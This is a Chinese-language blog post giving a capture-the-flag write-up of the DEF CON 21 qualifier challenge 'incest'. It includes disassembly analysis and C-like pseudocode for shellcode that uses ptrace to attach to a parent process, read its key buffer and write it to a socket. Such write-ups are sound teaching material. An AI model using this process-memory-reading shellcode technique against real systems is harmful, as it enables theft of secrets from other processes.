2013年6月17日 星期一

Defcon 21 競賽解題思路 - incest


好久沒來寫點東西啦!前兩天又是一年一度的 Defcon Quals,照例 CHROOT 集合多位朋友一塊解題闖關。今年我沒能花太多時間在解題,只看了較有把握的兩題也順利解出,先來分享 "\xff\xe4\xcc" 的第一題 - incest。

此題目給了兩隻 Linux x64 binary,maw 和 sis 。當然二話不說,先來 strings。

$ strings maw
eth0
Could not open key.
/home/services/sis
$ objdump -D sis > sis.disasm


從 sis.disasm 反組譯的內容中,可以看到此程式有 fork() 產生的子行程,會配置一塊記憶體,再將 recv() 收到的內容放到此記憶體空間,最後直接呼叫 callq *rdx,跳躍到該記憶體區域執行。而父行程也配了一塊記憶體,從某檔案中讀取內容後,就不斷呼叫 sched_yield()。
如果轉寫成 C 程式碼,大概長得像這樣:

很明顯 maw 是一個網路 daemon,accept() 連線後再執行 sis,執行時會先 open() key file,然後將 key file 的 fd 和 socket fd 一塊傳給 sis。根據 strace/ltrace 可以發現,key_fd = 3,sock_fd = 4,而且 sis 的子行程會直接跳到遠端傳送的資料裡執行。注意到,呼叫 mmap() 配置 sock_buffer 時,是用 PROT_READ|PROT_WRITE|PROT_EXEC,可讀可寫可執行,就可以塞 shellcode 執行啦。

但是,要怎麼取得 key file 的資料呢?

原來的想法是透過打造 open("key", O_RDONLY),然後 read(key_fd) 再 write(sock_fd),但測試結果發現會 Permission denied。而根據題目 incest 原意,搭配 sis.c,可以猜想應該是要由子行程透過 ptrace() 來讀取父行程裡的資料,也就是父行程已 read(key_fd, key_buffer),只要能讀取父行程的 key_buffer 內容,再 write(sock_fd) 就能遠端取得 key_buffer 內容啦。

打造 x64_86 的 shellcode,我是參考此文 64-bit-linux-shellcode,然後用 nasm 寫了一小段程式碼。流程大概如下:
shellcode()
{
int ppid;
int key_buffer_address;
int key_buffer;
int i;
char buffer[40];
user_regs_struct regs;
ppid = getppid();

ptrace (PTRACE_ATTACH, ppid, NULL, NULL);
wait(NULL);
ptrace (PTRACE_GETREGS,ppid, NULL, &regs);
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);
for(i = 0; i < 10; i++)
ptrace (PTRACE_PEEKDATA, ppid, key_buffer+i*8, buffer+i*8);
write(4, buffer, 40);
}

根據前面所提的 sis.disasm
  1. 400949:       e8 82 fd ff ff          callq  4006d0
  2. 40094e:       48 89 45 e8             mov    %rax,-0x18(%rbp)

可以發現,取得父行程 rbp 暫存器值後去 -0x18,即為存放 calloc() 配置的記憶體位址。所以透過
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);

則會得到父行程的 key_buffer 位址啦,接著用一個 for-loop 把父行程的 key_buffer 存的內容讀出來,再透過 write() 輸出到 sock_fd = 4,就能看到解答。
此題  shellcode 的 nasm 如下:

使用 nasm 編譯後,寫了一個小程式 dump,把 shellcode 輸出 stdout。


這樣就過關啦!

沒有留言: